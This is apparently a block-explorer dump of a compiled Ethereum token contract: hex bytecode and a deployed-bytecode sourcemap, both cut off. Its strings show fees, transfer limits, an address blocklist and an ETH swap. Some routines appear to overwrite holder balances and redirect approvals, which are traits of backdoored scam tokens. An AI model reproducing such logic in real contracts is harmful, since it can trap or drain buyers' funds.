901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610952573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097791906117a3565b505060158054601380546001600160a01b0319166001600160a01b0383161790556201000160a01b62ff00ff60a01b1990911617905550565b5f546001600160a01b031633146109d95760405162461bcd60e51b815260040161049a9061173f565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610a10573d5f803e3d5ffd5b50565b6001600160a01b038316610a755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049a565b6001600160a01b038216610ad65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049a565b6001600160a01b038216610bfc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049a565b5f8111610c5d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049a565b5f80546001600160a01b03858116911614801590610c8857505f546001600160a01b03848116911614155b15610f7e576001600160a01b0384165f9081526005602052604090205460ff16158015610ccd57506001600160a01b0383165f9081526005602052604090205460ff16155b610cd5575f80fd5b610d016064610cfb600b54600e5411610cf057600754610cf4565b6009545b85906110f3565b90611178565b6015549091506001600160a01b038581169116148015610d2f57506014546001600160a01b03848116911614155b8015610d5357506001600160a01b0383165f9081526003602052604090205460ff16155b15610e3957600f54821115610daa5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161049a565b60105482610dcc856001600160a01b03165f9081526001602052604090205490565b610dd691906117ce565b1115610e245760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161049a565b600e8054905f610e33836117e1565b91905055505b6015546001600160a01b038481169116148015610e5f57506001600160a01b0384163014155b15610e9757610e896064610cfb600c54600e5411610e7f57600854610cf4565b600a5485906110f3565b905047610e95476111b9565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610ecd57506015546001600160a01b038581169116145b8015610ee25750601554600160b01b900460ff165b8015610eef575060115481115b8015610efe5750600d54600e54115b15610f7c57601554600160b81b900460ff1615610f5757436016541015610f5257610f3c610f3784610f32846012546111f0565b6111f0565b611204565b478015610f4c57610f4c476111b9565b50436016555b610f7c565b610f6a610f3784610f32846012546111f0565b478015610f7a57610f7a476111b9565b505b505b8015610ff657305f90815260016020526040902054610f9d9082611374565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fed9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461101890836113d2565b6001600160a01b0385165f9081526001602052604090205561105b61103d83836113d2565b6001600160a01b0385165f9081526001602052604090205490611374565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a485856113d2565b60405190815260200160405180910390a350505050565b5f81848411156110de5760405162461bcd60e51b815260040161049a919061143f565b505f6110ea84866117f9565b95945050505050565b5f825f0361110257505f6103e4565b5f61110d8385611728565b90508261111a858361180c565b146111715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049a565b9392505050565b5f61117183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611413565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610648573d5f803e3d5ffd5b5f8183116111fe5782611171565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124a5761124a611774565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112c59190611788565b816001815181106112d8576112d8611774565b6001600160a01b0392831660209182029290920101526014546112fe9130911684610a13565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113369085905f9086903090429060040161182b565b5f604051808303815f87803b15801561134d575f80fd5b505af115801561135f573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f8061138083856117ce565b9050838110156111715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049a565b5f61117183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110bb565b5f81836114335760405162461bcd60e51b815260040161049a919061143f565b505f6110ea848661180c565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a10575f80fd5b803561149381611474565b919050565b5f80604083850312156114a9575f80fd5b82356114b481611474565b946020939093013593505050565b5f805f606084860312156114d4575f80fd5b83356114df81611474565b925060208401356114ef81611474565b929592945050506040919091013590565b5f60208284031215611510575f80fd5b813561117181611474565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611540575f80fd5b823567ffffffffffffffff80821115611557575f80fd5b818501915085601f83011261156a575f80fd5b81358181111561157c5761157c61151b565b8060051b604051601f19603f830116810181811085821117156115a1576115a161151b565b6040529182528482019250838101850191888311156115be575f80fd5b938501935b828510156115e3576115d485611488565b845293850193928501926115c3565b98975050505050505050565b5f8060408385031215611600575f80fd5b823561160b81611474565b9150602083013561161b81611474565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561167457815f190482111561165a5761165a611626565b8085161561166757918102915b93841c939080029061163f565b509250929050565b5f8261168a575060016103e4565b8161169657505f6103e4565b81600181146116ac57600281146116b6576116d2565b60019150506103e4565b60ff8411156116c7576116c7611626565b50506001821b6103e4565b5060208310610133831016604e8410600b84101617156116f5575081810a6103e4565b6116ff838361163a565b805f190482111561171257611712611626565b029392505050565b5f61117160ff84168361167c565b80820281158282048414176103e4576103e4611626565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611798575f80fd5b815161117181611474565b5f805f606084860312156117b5575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103e4576103e4611626565b5f600182016117f2576117f2611626565b5060010190565b818103818111156103e4576103e4611626565b5f8261182657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561187b5784516001600160a01b031683529383019391830191600101611856565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207db90e08df7843f426f79f53c18736b58f7821f7827e27fa61c85134dcb3c2c764736f6c63430008190033
Deployed Bytecode Sourcemap
3696:8325:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5761:83;;;;;;;;;;-1:-1:-1;5831:5:0;;;;;;;;;;;;-1:-1:-1;;;5831:5:0;;;;5761:83;;;;;;;:::i;:::-;;;;;;;;6580:239;;;;;;;;;;-1:-1:-1;6580:239:0;;;;;:::i;:::-;;:::i;:::-;;;1197:14:1;;1190:22;1172:41;;1160:2;1145:18;6580:239:0;1032:187:1;4802:45:0;;;;;;;;;;;;;;;;;;;1370:25:1;;;1358:2;1343:18;4802:45:0;1224:177:1;6032:95:0;;;;;;;;;;;;;:::i;7070:314::-;;;;;;;;;;-1:-1:-1;7070:314:0;;;;;:::i;:::-;;:::i;4750:45::-;;;;;;;;;;;;;;;;5943:83;;;;;;;;;;-1:-1:-1;5943:83:0;;4442:1;2009:36:1;;1997:2;1982:18;5943:83:0;1867:184:1;4692:51:0;;;;;;;;;;;;;;;;6133:119;;;;;;;;;;-1:-1:-1;6133:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6226:18:0;6199:7;6226:18;;;:9;:18;;;;;;;6133:119;3541:148;;;;;;;;;;;;;:::i;:::-;;10982:193;;;;;;;;;;;;;:::i;4638:47::-;;;;;;;;;;;;;;;;3327:79;;;;;;;;;;-1:-1:-1;3365:7:0;3392:6;3327:79;;-1:-1:-1;;;;;3392:6:0;;;2454:51:1;;2442:2;2427:18;3327:79:0;2308:203:1;5850:87:0;;;;;;;;;;-1:-1:-1;5922:7:0;;;;;;;;;;;;-1:-1:-1;;;5922:7:0;;;;5850:87;;6825:239;;;;;;;;;;-1:-1:-1;6825:239:0;;;;;:::i;:::-;;:::i;6258:167::-;;;;;;;;;;-1:-1:-1;6258:167:0;;;;;:::i;:::-;;:::i;7731:624::-;;;;;;;;;;;;;:::i;6431:143::-;;;;;;;;;;-1:-1:-1;6431:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6539:18:0;;;6512:7;6539:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6431:143;11181:112;;;;;;;;;;;;;:::i;6580:239::-;-1:-1:-1;;;;;6706:22:0;;6655:4;6706:22;;;:13;:22;;;;;;410:10;;6706:22;;6703:42;;;-1:-1:-1;6737:8:0;;-1:-1:-1;;;;;6737:8:0;6703:42;6756:33;6765:6;6773:7;6782:6;6756:8;:33::i;:::-;6807:4;6800:11;;;6580:239;;;;;:::o;6032:95::-;6085:7;4498:13;4442:1;4498:2;:13;:::i;:::-;4485:26;;:10;:26;:::i;:::-;6105:14;;6032:95;:::o;7070:314::-;7168:4;7185:36;7195:6;7203:9;7214:6;7185:9;:36::i;:::-;7233:121;7242:6;410:10;7264:89;7302:6;7264:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7264:19:0;;;;;;:11;:19;;;;;;;;410:10;7264:33;;;;;;;;;;:37;:89::i;:::-;7233:8;:121::i;:::-;-1:-1:-1;7372:4:0;7070:314;;;;;:::o;3541:148::-;3454:6;;-1:-1:-1;;;;;3454:6:0;410:10;3454:22;3446:67;;;;-1:-1:-1;;;3446:67:0;;;;;;;:::i;:::-;;;;;;;;;3648:1:::1;3632:6:::0;;3611:40:::1;::::0;-1:-1:-1;;;;;3632:6:0;;::::1;::::0;3611:40:::1;::::0;3648:1;;3611:40:::1;3679:1;3662:19:::0;;-1:-1:-1;;;;;;3662:19:0::1;::::0;;3541:148::o;10982:193::-;3454:6;;-1:-1:-1;;;;;3454:6:0;410:10;3454:22;3446:67;;;;-1:-1:-1;;;3446:67:0;;;;;;;:::i;:::-;11036:12:::1;:20:::0;;-1:-1:-1;;;;11036:20:0::1;::::0;;4498:13:::1;4442:1;4498:2;:13;:::i;:::-;4485:26;::::0;:10:::1;:26;:::i;:::-;11067:12;:22:::0;4498:13:::1;4442:1;4498:2;:13;:::i;:::-;4485:26;::::0;:10:::1;:26;:::i;:::-;11100:16;:24:::0;11140:27:::1;4498:13;4442:1;4498:2;:13;:::i;:::-;4485:26;::::0;:10:::1;:26;:::i;:::-;11140:27;::::0;1370:25:1;;;1358:2;1343:18;11140:27:0::1;;;;;;;10982:193::o:0;6825:239::-;6896:9;6891:166;6915:5;:12;6911:1;:16;6891:166;;;6966:13;;6954:8;;-1:-1:-1;;;;;6966:13:0;;;;6954:5;;6960:1;;6954:8;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;6954:25:0;;6950:38;;6981:7;6825:239;:::o;6950:38::-;7030:15;4442:1;7030:2;:15;:::i;:::-;7024:21;;:3;:21;:::i;:::-;7002:9;:19;7012:5;7018:1;7012:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;7002:19:0;;;;;;;;;;;-1:-1:-1;7002:19:0;:43;6929:4;;6891:166;;;;6825:239;:::o;6258:167::-;6336:4;6353:42;410:10;6377:9;6388:6;6353:9;:42::i;:::-;-1:-1:-1;6413:4:0;6258:167;;;;:::o;7731:624::-;3454:6;;-1:-1:-1;;;;;3454:6:0;410:10;3454:22;3446:67;;;;-1:-1:-1;;;3446:67:0;;;;;;;:::i;:::-;7795:11:::1;::::0;-1:-1:-1;;;7795:11:0;::::1;;;7794:12;7786:47;;;::::0;-1:-1:-1;;;7786:47:0;;6544:2:1;7786:47:0::1;::::0;::::1;6526:21:1::0;6583:2;6563:18;;;6556:30;6622:25;6602:18;;;6595:53;6665:18;;7786:47:0::1;6342:347:1::0;7786:47:0::1;7844:15;:80:::0;;-1:-1:-1;;;;;;7844:80:0::1;7881:42;7844:80:::0;;::::1;::::0;;;7935:58:::1;::::0;7952:4:::1;::::0;4498:13:::1;4442:1;4498:2;:13;:::i;:::-;4485:26;::::0;:10:::1;:26;:::i;7935:58::-;8038:15;;;;;;;;;-1:-1:-1::0;;;;;8038:15:0::1;-1:-1:-1::0;;;;;8038:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8020:55:0::1;;8084:4;8091:15;;;;;;;;;-1:-1:-1::0;;;;;8091:15:0::1;-1:-1:-1::0;;;;;8091:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8020:94;::::0;-1:-1:-1;;;;;;8020:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7180:15:1;;;8020:94:0::1;::::0;::::1;7162:34:1::0;7232:15;;7212:18;;;7205:43;7097:18;;8020:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8004:13;:110:::0;;-1:-1:-1;;;;;8004:110:0;;::::1;-1:-1:-1::0;;;;;;8004:110:0;;::::1;;::::0;;8125:15:::1;::::0;::::1;:31;8164:21;8195:4;8201:24;8195:4:::0;-1:-1:-1;;;;;6226:18:0;6199:7;6226:18;;;:9;:18;;;;;;;6133:119;8201:24:::1;8226:1;8228::::0;8230:7:::1;3365::::0;3392:6;-1:-1:-1;;;;;3392:6:0;;3327:79;8230:7:::1;8125:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8125:129:0;;;-1:-1:-1;;;;;7618:15:1;;;8125:129:0::1;::::0;::::1;7600:34:1::0;7650:18;;;7643:34;;;;7693:18;;;7686:34;;;;7736:18;;;7729:34;7800:15;;;7779:19;;;7772:44;8238:15:0::1;7832:19:1::0;;;7825:35;7534:19;;8125:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8276:13:0::1;::::0;;8265:8:::1;:24:::0;;-1:-1:-1;;;;;;8265:24:0::1;-1:-1:-1::0;;;;;8276:13:0;::::1;8265:24;::::0;;-1:-1:-1;;;;;;;8329:18:0;;;;;;-1:-1:-1;7731:624:0:o;11181:112::-;3454:6;;-1:-1:-1;;;;;3454:6:0;410:10;3454:22;3446:67;;;;-1:-1:-1;;;3446:67:0;;;;;;;:::i;:::-;3365:7;3392:6;;11237:48:::1;::::0;-1:-1:-1;;;;;3392:6:0;;;;11263:21:::1;11237:48:::0;::::1;;;::::0;11263:21;;11237:48;3365:7;11237:48;11263:21;3392:6;11237:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11181:112::o:0;7390:335::-;-1:-1:-1;;;;;7483:19:0;;7475:68;;;;-1:-1:-1;;;7475:68:0;;8384:2:1;7475:68:0;;;8366:21:1;8423:2;8403:18;;;8396:30;8462:34;8442:18;;;8435:62;-1:-1:-1;;;8513:18:1;;;8506:34;8557:19;;7475:68:0;8182:400:1;7475:68:0;-1:-1:-1;;;;;7562:21:0;;7554:68;;;;-1:-1:-1;;;7554:68:0;;8789:2:1;7554:68:0;;;8771:21:1;8828:2;8808:18;;;8801:30;8867:34;8847:18;;;8840:62;-1:-1:-1;;;8918:18:1;;;8911:32;8960:19;;7554:68:0;8587:398:1;7554:68:0;-1:-1:-1;;;;;7633:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7685:32;;1370:25:1;;;7685:32:0;;1343:18:1;7685:32:0;;;;;;;7390:335;;;:::o;8361:2615::-;-1:-1:-1;;;;;8449:18:0;;8441:68;;;;-1:-1:-1;;;8441:68:0;;9192:2:1;8441:68:0;;;9174:21:1;9231:2;9211:18;;;9204:30;9270:34;9250:18;;;9243:62;-1:-1:-1;;;9321:18:1;;;9314:35;9366:19;;8441:68:0;8990:401:1;8441:68:0;-1:-1:-1;;;;;8528:16:0;;8520:64;;;;-1:-1:-1;;;8520:64:0;;9598:2:1;8520:64:0;;;9580:21:1;9637:2;9617:18;;;9610:30;9676:34;9656:18;;;9649:62;-1:-1:-1;;;9727:18:1;;;9720:33;9770:19;;8520:64:0;9396:399:1;8520:64:0;8612:1;8603:6;:10;8595:64;;;;-1:-1:-1;;;8595:64:0;;10002:2:1;8595:64:0;;;9984:21:1;10041:2;10021:18;;;10014:30;10080:34;10060:18;;;10053:62;-1:-1:-1;;;10131:18:1;;;10124:39;10180:19;;8595:64:0;9800:405:1;8595:64:0;8670:14;3392:6;;-1:-1:-1;;;;;8701:15:0;;;3392:6;;8701:15;;;;:32;;-1:-1:-1;3365:7:0;3392:6;-1:-1:-1;;;;;8720:13:0;;;3392:6;;8720:13;;8701:32;8697:1939;;;-1:-1:-1;;;;;8759:11:0;;;;;;:5;:11;;;;;;;;8758:12;:26;;;;-1:-1:-1;;;;;;8775:9:0;;;;;;:5;:9;;;;;;;;8774:10;8758:26;8750:35;;;;;;8809:73;8878:3;8809:64;8831:12;;8821:9;;:22;8820:52;;8858:14;;8820:52;;;8845:12;;8820:52;8809:6;;:10;:64::i;:::-;:68;;:73::i;:::-;8909:13;;8800:82;;-1:-1:-1;;;;;;8901:21:0;;;8909:13;;8901:21;:55;;;;-1:-1:-1;8940:15:0;;-1:-1:-1;;;;;8926:30:0;;;8940:15;;8926:30;;8901:55;:79;;;;-1:-1:-1;;;;;;8962:18:0;;;;;;:14;:18;;;;;;;;8960:20;8901:79;8897:311;;;9020:12;;9010:6;:22;;9002:60;;;;-1:-1:-1;;;9002:60:0;;10412:2:1;9002:60:0;;;10394:21:1;10451:2;10431:18;;;10424:30;10490:27;10470:18;;;10463:55;10535:18;;9002:60:0;10210:349:1;9002:60:0;9115:16;;9105:6;9089:13;9099:2;-1:-1:-1;;;;;6226:18:0;6199:7;6226:18;;;:9;:18;;;;;;;6133:119;9089:13;:22;;;;:::i;:::-;:42;;9081:81;;;;-1:-1:-1;;;9081:81:0;;10896:2:1;9081:81:0;;;10878:21:1;10935:2;10915:18;;;10908:30;10974:28;10954:18;;;10947:56;11020:18;;9081:81:0;10694:350:1;9081:81:0;9181:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8897:311;9231:13;;-1:-1:-1;;;;;9225:19:0;;;9231:13;;9225:19;:43;;;;-1:-1:-1;;;;;;9248:20:0;;9263:4;9248:20;;9225:43;9222:360;;;9298:76;9370:3;9298:67;9320:13;;9310:9;;:23;9309:55;;9349:15;;9309:55;;;9335:13;;9298:6;;:10;:67::i;:76::-;9289:85;-1:-1:-1;9422:21:0;9513:34;9525:21;9513:11;:34::i;:::-;9270:312;9222:360;9645:4;9596:28;6226:18;;;:9;:18;;;;;;9671:6;;-1:-1:-1;;;9671:6:0;;;;9670:7;:30;;;;-1:-1:-1;9687:13:0;;-1:-1:-1;;;;;9681:19:0;;;9687:13;;9681:19;9670:30;:45;;;;-1:-1:-1;9704:11:0;;-1:-1:-1;;;9704:11:0;;;;9670:45;:81;;;;;9740:11;;9719:20;:32;9670:81;:108;;;;;9765:13;;9755:9;;:23;9670:108;9666:959;;;9803:12;;-1:-1:-1;;;9803:12:0;;;;9799:811;;;9859:12;9844;;:27;9840:428;;;9900:67;9917:49;9921:6;9928:37;9932:20;9953:11;;9928:3;:37::i;:::-;9917:3;:49::i;:::-;9900:16;:67::i;:::-;10023:21;10074:22;;10071:120;;10129:34;10141:21;10129:11;:34::i;:::-;-1:-1:-1;10232:12:0;10217;:27;9840:428;9799:811;;;10316:67;10333:49;10337:6;10344:37;10348:20;10369:11;;10344:3;:37::i;10316:67::-;10435:21;10482:22;;10479:112;;10533:34;10545:21;10533:11;:34::i;:::-;10293:317;9799:811;8735:1901;8697:1939;10649:8;;10646:153;;10714:4;10696:24;;;;:9;:24;;;;;;:36;;10725:6;10696:28;:36::i;:::-;10689:4;10671:24;;;;:9;:24;;;;;;;:61;;;;10750:37;;-1:-1:-1;;;;;10750:37:0;;;;;;;10780:6;1370:25:1;;1358:2;1343:18;;1224:177;10750:37:0;;;;;;;;10646:153;-1:-1:-1;;;;;10825:15:0;;;;;;:9;:15;;;;;;:27;;10845:6;10825:19;:27::i;:::-;-1:-1:-1;;;;;10809:15:0;;;;;;:9;:15;;;;;:43;10877:37;10895:18;:6;10906;10895:10;:18::i;:::-;-1:-1:-1;;;;;10877:13:0;;;;;;:9;:13;;;;;;;:17;:37::i;:::-;-1:-1:-1;;;;;10863:13:0;;;;;;;:9;:13;;;;;:51;;;;10930:38;;;10949:18;:6;10960;10949:10;:18::i;:::-;10930:38;;1370:25:1;;;1358:2;1343:18;10930:38:0;;;;;;;8430:2546;8361:2615;;;:::o;1463:190::-;1549:7;1585:12;1577:6;;;;1569:29;;;;-1:-1:-1;;;1569:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1609:9:0;1621:5;1625:1;1621;:5;:::i;:::-;1609:17;1463:190;-1:-1:-1;;;;;1463:190:0:o;1661:246::-;1719:7;1743:1;1748;1743:6;1739:47;;-1:-1:-1;1773:1:0;1766:8;;1739:47;1796:9;1808:5;1812:1;1808;:5;:::i;:::-;1796:17;-1:-1:-1;1841:1:0;1832:5;1836:1;1796:17;1832:5;:::i;:::-;:10;1824:56;;;;-1:-1:-1;;;1824:56:0;;11746:2:1;1824:56:0;;;11728:21:1;11785:2;11765:18;;;11758:30;11824:34;11804:18;;;11797:62;-1:-1:-1;;;11875:18:1;;;11868:31;11916:19;;1824:56:0;11544:397:1;1824:56:0;1898:1;1661:246;-1:-1:-1;;;1661:246:0:o;1915:132::-;1973:7;2000:39;2004:1;2007;2000:39;;;;;;;;;;;;;;;;;:3;:39::i;11404:90::-;11460:9;;:26;;-1:-1:-1;;;;;11460:9:0;;;;:26;;;;;11479:6;;11460:9;:26;:9;:26;11479:6;11460:9;:26;;;;;;;;;;;;;;;;;;;11299:99;11356:7;11384:1;11382;:3;11381:9;;11389:1;11381:9;;;-1:-1:-1;11387:1:0;11299:99;-1:-1:-1;11299:99:0:o;11500:483::-;5234:6;:13;;-1:-1:-1;;;;5234:13:0;-1:-1:-1;;;5234:13:0;;;11602:16:::1;::::0;;11616:1:::1;11602:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11602:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11602:16:0::1;11578:40;;11647:4;11629;11634:1;11629:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11629:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11673:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11673:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11629:7;;11673:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11663:4;11668:1;11663:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11663:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11738:15:::1;::::0;11706:62:::1;::::0;11723:4:::1;::::0;11738:15:::1;11756:11:::0;11706:8:::1;:62::i;:::-;11779:15;::::0;:196:::1;::::0;-1:-1:-1;;;11779:196:0;;-1:-1:-1;;;;;11779:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11860:11;;11779:15:::1;::::0;11902:4;;11929::::1;::::0;11949:15:::1;::::0;11779:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5270:6:0;:14;;-1:-1:-1;;;;5270:14:0;;;-1:-1:-1;;;;11500:483:0:o;1132:179::-;1190:7;;1222:5;1226:1;1222;:5;:::i;:::-;1210:17;;1251:1;1246;:6;;1238:46;;;;-1:-1:-1;;;1238:46:0;;13133:2:1;1238:46:0;;;13115:21:1;13172:2;13152:18;;;13145:30;13211:29;13191:18;;;13184:57;13258:18;;1238:46:0;12931:351:1;1319:136:0;1377:7;1404:43;1408:1;1411;1404:43;;;;;;;;;;;;;;;;;:3;:43::i;2055:189::-;2141:7;2176:12;2169:5;2161:28;;;;-1:-1:-1;;;2161:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2200:9:0;2212:5;2216:1;2212;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:134;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:315::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1017:2;1002:18;;;;989:32;;-1:-1:-1;;;712:315:1:o;1406:456::-;1483:6;1491;1499;1552:2;1540:9;1531:7;1527:23;1523:32;1520:52;;;1568:1;1565;1558:12;1520:52;1607:9;1594:23;1626:31;1651:5;1626:31;:::i;:::-;1676:5;-1:-1:-1;1733:2:1;1718:18;;1705:32;1746:33;1705:32;1746:33;:::i;:::-;1406:456;;1798:7;;-1:-1:-1;;;1852:2:1;1837:18;;;;1824:32;;1406:456::o;2056:247::-;2115:6;2168:2;2156:9;2147:7;2143:23;2139:32;2136:52;;;2184:1;2181;2174:12;2136:52;2223:9;2210:23;2242:31;2267:5;2242:31;:::i;2516:127::-;2577:10;2572:3;2568:20;2565:1;2558:31;2608:4;2605:1;2598:15;2632:4;2629:1;2622:15;2648:1121;2732:6;2763:2;2806;2794:9;2785:7;2781:23;2777:32;2774:52;;;2822:1;2819;2812:12;2774:52;2862:9;2849:23;2891:18;2932:2;2924:6;2921:14;2918:34;;;2948:1;2945;2938:12;2918:34;2986:6;2975:9;2971:22;2961:32;;3031:7;3024:4;3020:2;3016:13;3012:27;3002:55;;3053:1;3050;3043:12;3002:55;3089:2;3076:16;3111:2;3107;3104:10;3101:36;;;3117:18;;:::i;:::-;3163:2;3160:1;3156:10;3195:2;3189:9;3258:2;3254:7;3249:2;3245;3241:11;3237:25;3229:6;3225:38;3313:6;3301:10;3298:22;3293:2;3281:10;3278:18;3275:46;3272:72;;;3324:18;;:::i;:::-;3360:2;3353:22;3410:18;;;3444:15;;;;-1:-1:-1;3486:11:1;;;3482:20;;;3514:19;;;3511:39;;;3546:1;3543;3536:12;3511:39;3570:11;;;;3590:148;3606:6;3601:3;3598:15;3590:148;;;3672:23;3691:3;3672:23;:::i;:::-;3660:36;;3623:12;;;;3716;;;;3590:148;;;3757:6;2648:1121;-1:-1:-1;;;;;;;;2648:1121:1:o;3774:388::-;3842:6;3850;3903:2;3891:9;3882:7;3878:23;3874:32;3871:52;;;3919:1;3916;3909:12;3871:52;3958:9;3945:23;3977:31;4002:5;3977:31;:::i;:::-;4027:5;-1:-1:-1;4084:2:1;4069:18;;4056:32;4097:33;4056:32;4097:33;:::i;:::-;4149:7;4139:17;;;3774:388;;;;;:::o;4167:127::-;4228:10;4223:3;4219:20;4216:1;4209:31;4259:4;4256:1;4249:15;4283:4;4280:1;4273:15;4299:416;4388:1;4425:5;4388:1;4439:270;4460:7;4450:8;4447:21;4439:270;;;4519:4;4515:1;4511:6;4507:17;4501:4;4498:27;4495:53;;;4528:18;;:::i;:::-;4578:7;4568:8;4564:22;4561:55;;;4598:16;;;;4561:55;4677:22;;;;4637:15;;;;4439:270;;;4443:3;4299:416;;;;;:::o;4720:806::-;4769:5;4799:8;4789:80;;-1:-1:-1;4840:1:1;4854:5;;4789:80;4888:4;4878:76;;-1:-1:-1;4925:1:1;4939:5;;4878:76;4970:4;4988:1;4983:59;;;;5056:1;5051:130;;;;4963:218;;4983:59;5013:1;5004:10;;5027:5;;;5051:130;5088:3;5078:8;5075:17;5072:43;;;5095:18;;:::i;:::-;-1:-1:-1;;5151:1:1;5137:16;;5166:5;;4963:218;;5265:2;5255:8;5252:16;5246:3;5240:4;5237:13;5233:36;5227:2;5217:8;5214:16;5209:2;5203:4;5200:12;5196:35;5193:77;5190:159;;;-1:-1:-1;5302:19:1;;;5334:5;;5190:159;5381:34;5406:8;5400:4;5381:34;:::i;:::-;5451:6;5447:1;5443:6;5439:19;5430:7;5427:32;5424:58;;;5462:18;;:::i;:::-;5500:20;;4720:806;-1:-1:-1;;;4720:806:1:o;5531:140::-;55